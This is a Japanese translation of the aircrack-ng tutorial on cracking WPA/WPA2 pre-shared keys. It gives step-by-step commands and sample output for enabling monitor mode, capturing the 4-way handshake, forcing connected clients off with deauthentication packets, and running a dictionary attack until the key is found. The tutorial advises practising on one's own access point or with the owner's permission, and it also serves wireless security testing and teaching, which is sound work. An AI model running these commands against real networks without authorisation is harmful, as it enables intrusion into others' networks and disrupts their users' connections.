Table of Contents

チュートリアル: WPA/WPA2 のクラッキング方法について

Version: 1.20 March 07, 2010
By: darkAudax
Translated by: nao on January 08, 2011

最初に

このチュートリアルは事前共有鍵を用いるWPA/WPA2ネットワークをクラッキングするためのものです。WPA/WPA2とは何かということをご存じの上で行われることを推奨します。リンク集 Wiki にはは WPA/WPA2 セクション があります。WPAについての詳細はこちらWi-Fi Security - WEP, WPA and WPA2をご覧ください。こちらはPDFダウンロードへのリンクです。 またこちらWPA Packet Capture Explained tutorialも併せてご覧ください。

WPA/WPA2には事前共有鍵以外にも様々なタイプの認証方式が備わっています。aircrack-ngは事前共有鍵にたいしてのみ有効です。従って、airodump-ngではauthentication typeがPSKとなっているネットワークが表示されていることを確認してください。そうしないと、そもそもクラックできないネットワークに挑戦し、クラックできないことに悩むことになってしまいます。

WPA/WPA2とWEPではクラッキングに関して重要な違いがあります。これは以前のWPA/WPA2事前共有鍵のクラッキングへのアプローチです。WEPとは異なり、クラッキングプロセスの速度向上のために統計的な手法が用いられるものの、WPA/AP2に対しては単純な辞書攻撃が用いられています。鍵が固定でないため、WEP暗号をクラックする時のようにIV(初期化ベクタ)を大量に収集しても一向に速度が向上しません。クライアントとアクセスポイント間のハンドシェイクのみが攻撃のきっかけとなる情報を与えてくれます。事実ではない点も含まれますが、このチュートリアルの目的から考えれば、事実と考えていただいて差し支えありません。事前共有鍵は8から63文字長で構成されているため、現実的にはクラックが不可能です。

事前共有鍵をクラックできるケースとしては、鍵が辞書に含まれている言葉を用いている場合と比較的短い鍵を用いている場合です。逆に言えば、自宅の無線ネットワークをクラックされないためには、WPA/WPA2を用い、特殊な文字を含むランダムな63文字のパスワードを設定することです。

辞書攻撃を用いる影響は計りしれません。それは非常にコンピュータ集約的であり、CPUに依存するため、1秒間に試せるのはせいぜい50から300キーほどだからです。
# 訳者注
# 原文では1秒間に50から300と記載されていますが、最近ではそんなに遅くは無いかと思います。
大きな辞書でごりごりクラッキングするには何日とはかからなくても、数時間はかかります。自分のパスワードを作成する際、まずここ brute force time calculator をチェックすることをおすすめします。辞書攻撃に必要な時間の少なさに驚くかと思います。

重要つまりWPA/WPA2を破るには辞書に含まれている文字列が使われてなければなりません。辞書に含まれていなければ、aircrack-ngは鍵を特定することができません。

クラッキングするにあたり、WPAかWPA2であるかは大きな違いではありません。認証方式は基本的に同じです。従って、方法は全く同じです。

ここでの考え方やテクニックになれるためにはご自宅のアクセスポイントで実験してみることをおすすめします。ご自身で管理されているアクセスポイントをお持ちでない場合は、所有者に許可を取ってから行うようにしてください。

前向きであるかないかに関わらず、建設的なフィードバックをお待ちしています。トラブルシューティングのアイデアやテクニックも大いに歓迎です。

前提条件

まず、以下の条件を前提とします:  * Injectionパッチの当たったドライバを用いる。injection testで確認できます。  * アクセスポイントに対してパケットを送受するのに物理的に十分近い場所にいること。アクセスポイントからパケットを受け取れるからといって、パケットを遅れるとは限りません。一般的な無線LANカードはアクセスポイントほど強い電波を発しません。そのため、あなたのクライアントからアクセスポイントや他のワイヤレスクライアントに対してパケットを送ったり受け取るためには物理的に十分近づく必要があります。この方法で特定のアクセスポイントと通信できているかどうかを確認できます。  * aircrack-ngのv0.9.1以上を使う。他のバージョンではコマンドオプションが違うかもしれません。

上記の条件を満たしていても、下記の通り動かない場合があります。以下の例中で用いられている“ath0”をあなたが利用している無線LANカードのインターフェース名に変更する必要があります。

無線LAN機器の設定値

このチュートリアルでは以下の値を用いています:

あなたが試そうとしているネットワークについても上記と同等の情報を集めなくてはなりません。その上で、以下の例中の値を読み替えてください。

クラッキングの方法

概要

目標はWPA/WPA2ハンドシェイクを取得し、次に、aircrack-ngを用いて事前共有鍵をクラックすることです。

アクティブ方式とパッシブ方式、どちらの方式でも可能です。アクティブとは既に繋がっている無線LANクライアントの認証を一旦無効化することによりハンドシェイクの取得を早めることを意味しています。パッシブとは無線LANクライアントが新たにWPA/WPA2ネットワークに参加し認証されるのをただ待つことを意味しています。パッシブ方式の利点はInjectionができなくともよく、Windows版のaircrack-ngでも可能ということです。

基本的なステップ:

  1. 特定のチャネルに設定し、モニターモードで無線LANインターフェースを起動する。
  2. ハンドシェイクを取得するために、BSSIDフィルタを用いてアクセスポイントのチャネルに合わせてairodump-ngを起動する。
  3. 認証済みの無線LANクライアントの認証を一旦無効化するためにaireplay-ngを用いる。
  4. ハンドシェイクを用いて事前共有鍵をクラックするためにaircrack-ngを走らせる。

Step 1 - モニターモードで無線LANインターフェースを起動する

このステップの目標はあなたの無線LANカードをいわゆるモニターモードで起動することです。モニターモードは周辺環境の全ての無線LANパケットを拾うモードです。通常、無線LANカードはそのカードと無線通信を行っているパケットのみ拾うことができます。全てのパケットを拾うことで、WPA/WPA2の4Wayハンドシェイクも拾うことが可能となります。同様に、後のステップで述べるとおり、認証済み無線LANクライアントの認証を一旦無効化することも可能となります。

モニターモードを有効にするための厳密な手順はあなたの使っている無線LANカードのドライバによって変わります。ドライバを特定するために次のコマンドを実行してください。

 airmon-ng

Ralink, Atheros, Broadcomチップを搭載した無線LANカードでは、次のようにレスポンスがあります。

 Interface       Chipset         Driver
 
 rausb0          Ralink RT73     rt73
 wlan0           Broadcom        b43 - [phy0]
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0)

ドライバ名の後の[phy0]タグの表示は、mac80211向けの表示です。つまり、ここでBroadcomカードはmac80211ドライバを利用しています。 注意 mac80211ドライバはaircrack-ng v1.0-rc1以降でサポートされています。v0.9.1.では動きません。 Aterosカードは両方ともドライバとして“madwifi-ng”を表示しています。Atherosカードはmadwifi-ng-specificステップに従って設定します。 最後に、Ralinkのドライバ欄にはどちらも表示されていません。従って、ieee80211ドライバを用いています。こちらの設定には一般的な設定手順をご覧ください。

Step 1a - madwifi-ng の設定

まず、ath0を止めます。

 airmon-ng stop ath0   

システムからのレスポンス

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

“iwconfig”と入力し、他にathXインターフェースが無いことを確認します。無い場合はこんな風に表示されます。

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.

athXインターフェースがある場合は、それを止めます。それから“iwconfig”を実行し他にインタフェースが残っていないことを確認します。

さて、次のコマンドを入力し、チャンネル9でモニターモードで無線LANカードを起動します。

 airmon-ng start wifi0 9

注意:ここでは“ath0”の代わりに“wifi0”を用いました。これはmadwifi-ngドライバが使用中のためです。

システムからのレスポンスは

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

上記のように“ath0”がモニターモードとしてレポートされていることに気づきます。

インターフェースが正しく設定されていることを確認するために、“iwconfig”と入力します。

システムからのレスポンスは

 lo        no wireless extensions.
 
 wifi0     no wireless extensions.
 
 eth0      no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  
        Retry:off   RTS thr:off   Fragment thr:off
        Encryption key:off
        Power Management:off
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0

上記のレスポンスでは、ath0はチャンネル9、2.452GHz、モニターモードで起動されていることがわかります。またアクセスポイントはあなたの無線カードのMacアドレスを表示しています。madwifi-ngドライバのみAP欄にカードのMACアドレスが表示されます。他のドライバでは表示されません。次に進み適切に動かすためには、ここに表示されている全ての情報について確認することが重要です。

周波数をチャンネルに合わせるためには、こちらをチェック: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . 各チャンネルごとの周波数がわかります。

Step 1b - mac80211 ドライバの設定

madwifi-ngとはことなり、mac80211ドライバの設定にはwlan0インターフェースの削除は必要ありません。その代わり、チャンネル9でモニターモードを起動するためには次のコマンドが必要となります。

 airmon-ng start wlan0 9

システムからのレスポンスは

 Interface       Chipset         Driver
 
 wlan0           Broadcom        b43 - [phy0]
                                 (monitor mode enabled on mon0)

airmon-ngはmon0でモニターモードが起動していることに注意してください。そのため、このあとのチュートリアルではインターフェース名をmon0としてください。Wlan0はまだ通常(マネージド)モードで普通に使われ、攻撃しようとしているアクセスポイントと同じチャンネルで接続されています。そして、チャンネルホッピングは使われていない状態です。

設定を確かめるためには、“iwconfig”を実行してください。次のようなレスポンスがあります。

 lo        no wireless extensions.
 eth0      no wireless extensions.
 
 wmaster0  no wireless extensions.
 
 wlan0     IEEE 802.11bg  ESSID:""
           Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated
           Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0
 
 mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBm
           Retry min limit:7   RTS thr:off   Fragment thr=2352 B
           Encryption key:off
           Power Management:off
           Link Quality:0  Signal level:0  Noise level:0
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

ここで、mon0はチャンネル9(2.452GHz)でモニターモードとして表示されています。madwifi-ngとは異なり、モニターインターフェースにはアクセスポイント欄がありません。また、wlan0は依然として表示され、マネージドモードですがこれが通常の状態です。両方のインターフェースは共通の無線を共有するため、常に同じチャンネルとして合わされることになります。一方のチャンネルを変更すれば他方のチャンネルも変わることになります。

Step 1c - 他のドライバの設定

他(ieee80211ベース)のドライバでは、モニターモードを有効にするには、次のコマンドを実行するだけです。(rausb0をあなたの環境のインターフェース名に変更してください。)

 airmon-ng start rausb0 9

システムのレスポンスは

 Interface       Chipset         Driver
 
 rausb0          Ralink          rt73 (monitor mode enabled)

この時点でインターフェースは使用する準備ができています。

Step 2 - ハンドシェイクを取得するために airodump-ng を起動する

このステップの目標はairodump-ngを実行し、ターゲットとなるアクセスポイントの4wayハンドシェイクを取得することです。

入力

 airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

ここで、

重要:“--ivs”オプションは用いないでください。全てのパケットを取得しなければなりません。

ここで無線LANクラインアントがアクセスポイントに接続されている場合、このように表示されます

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  

上記で、右上にある“WPA handshake: 00:14:6C:7E:40:80”に注意してください。これはairodump-ngが4Wayハンドシェイクを正しく取得できたことを表しています。

これは無線LANクライアントと接続出来ていない状態です。

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             

Step 3 - 無線LANクライアントの認証を無効化するためにaireplay-ngを用いる

このステップはオプションです。我慢強ければ、アクセスポイントへクライアントが接続しに来るまで待ち、airodump-ngでハンドシェイクを収集すればよいことです。この手順を自ら高速化する際にこのステップを実施すればよいでしょう。ここでの制約は、無線LANクライアントがアクセスポイントと接続済みでなければならないということです。もし一台もアクセスポイントと接続していなければ、ハンドシェイクを取得するためにクライアントがアクセスポイントに接続するまで我慢強く待たなければなりません。言うまでもありませんが、ハンドシェイクの取得に失敗すれば、またこのステップを実行することになります。

このステップでは無線LANクライアントに対して、既にアクセスポイントとの接続が切れていることを装うパケットを送ります。無線LANクライアントはアクセスポイントとの再認証を行い始めます。再認証が今必要としている4Wayハンドシェイクを発生させるきっかけとなります。これこそがWPA/WPA2の事前共有鍵を破るために必要なものです。

前のステップのairodump-ngの結果に基づき、どのクライアントが現在接続されているかを判断します。このあとでMACアドレスが必要となります。別のコンソールを開き、次のように入力します。

 aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

ここで

アウトプット例

 11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

幸運なことに、このケースではクライアントの再認証を引き起こし、4Wayハンドシェイクが得られました。

トラブルシューティング

Step 4 - 事前共有鍵をクラックするためにaircrack-ngを実行する

このステップの目標は実際にWPA/WPA2事前共有鍵をクラックすることです。クラックするためには辞書攻撃の入力に用いる辞書が必要となります。基本的には、aircrack-ngは1ワードづつそれが事前共有鍵かどうかを試すだけです。

aircrack-ngには小さな辞書“password.lst”が付属しています。このファイルはaircrack-ngのソースコードの“test”ディレクトリにあります。Wiki FAQには広範囲な辞書ソースが掲載されています。John the Ripper (JTR)を使えば、ご自身の辞書リストを作成できます。aircrack-ngへパイプします。JTRとaircrack-ngの連携はこのチュートリアルを超えるため割愛します。

別のコンソールを開き、次のように入力します

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

ここで

これはハンドシェイクが見つからなかった場合の典型的なレスポンスです。

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.

 No valid WPA handshakes found.

こうなった場合は、ステップ3(無線LANクライアントの認証取り消し)を再度実行するか、パッシブ方式ならじっと待つことです。パッシブ方式の場合は、クライアントがアクセスポイントに認証を求めるまで待たなければなりません。

ハンドシェイクが見つかった場合の典型的なレスポンスです

 Opening psk-01.cap
 Opening psk-02.cap
 Opening psk-03.cap
 Opening psk-04.cap
 Read 1827 packets.
 
 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
 
 Choosing first network as target.

ここで、aircrack-ngは事前共有鍵のクラックを試みることを始めます。CPUスピードと辞書サイズの大きさに依存し、クラックには長い時間がかかります。

事前共有鍵をクラックできた場合のレスポンスです

                               Aircrack-ng 0.8
 
 
                 [00:00:00] 2 keys tested (37.20 k/s)
 
 
                         KEY FOUND! [ 12345678 ]
 
 
    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E 
                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD 
 
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 
 
    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

トラブルシューティング

ハンドシェイクが取得できない!

4Wayハンドシェイクを取得するにはテクニックが必要なことがあります。ここではいくつかのトラブルシューティングテクニックを提供します。

残念ながら、4Wayハンドシェイクを適切に取得するためには少し実験じみたことが必要となることがあります。ポイントは、初回でダメなら、少し我慢していろいろと試してみることです。そうすればできるでしょう!

もう一つのアプローチはWiresharkを使って、取得したパケットを分析することです。これが問題を解く手がかりとなることがあります。WPA Packet Capture Explained tutorialはこのチュートリアルと一緒に読むことで、通常のWPA接続のしくみを理解する手引きになります。またFAQにはWiresharkの詳細な使い方が掲載されています。

理想的な話をすれば、ちゃんとパケットを取得できる無線LANデバイスを使うべきです。いくつかのドライバ、例えば、RTL8187Lなどはカード自身が送信したパケットを取得できません。またwikiに掲載されているバージョンのドライバを利用してください。RT73などの古いバージョンのドライバではクライアントパケットが取得できないことがあるためです。

Wiresharkを利用する際は、”eapol”フィルターを使うことでEAPOLパケットだけを手早く表示できます。どのEAPOLパケットが実際に取得できたかにより、修正計画を決めます。例えば、クライアントパケットを損失している場合は、理由を特定し、どうやってクライアントパケットを取得するかを考えます。

パケット分析をしっかり行えるようになるためには、airodump-ngをBSSIDフィルターなしで起動し、IVだけでなく全パケットを取得することです。BSSIDフィルターを用いない理由は、ACKパケットを含め全てのパケットを確認するためです。BSSIDフィルターを用いると、パケット取得時に特定のパケットが欠損してしまいます。

クライアントまたはアクセスポイントから送られる全てのパケットは承認されていなければなりません。これは元のパケットを送ったデバイスを宛先とするMACアドレスを持った承認パケットによってなされます。クライアントの認証取り消しを行えば、ACKパケットを受け取れることでこの事実を確認できます。このことはクライアントが認証取り消しパケットを受け取ったかどうかを確認できます。ACKパケットを受け取るのに失敗したということは、クライアントは送信範囲から外れていると言うことを意味します。従って、失敗したと言うわけです。

パケット分析をするに当たって、詳細な手引きをすることは不可能です。いくつかのテクニックと見るべき項目について触れました。WPA/WPA2についての技術を磨くことと、Wiresharkを使いこなすための努力こそが必要なことです。

aircrack-ng に "0 handshakes" と表示される

上記の「ハンドシェイクが取得できない!」にまつわるトラブルシューティングをご覧ください。

aircrack-ng に "No valid WPA handshakes found" と表示される

上記の「ハンドシェイクが取得できない!」にまつわるトラブルシューティングをご覧ください。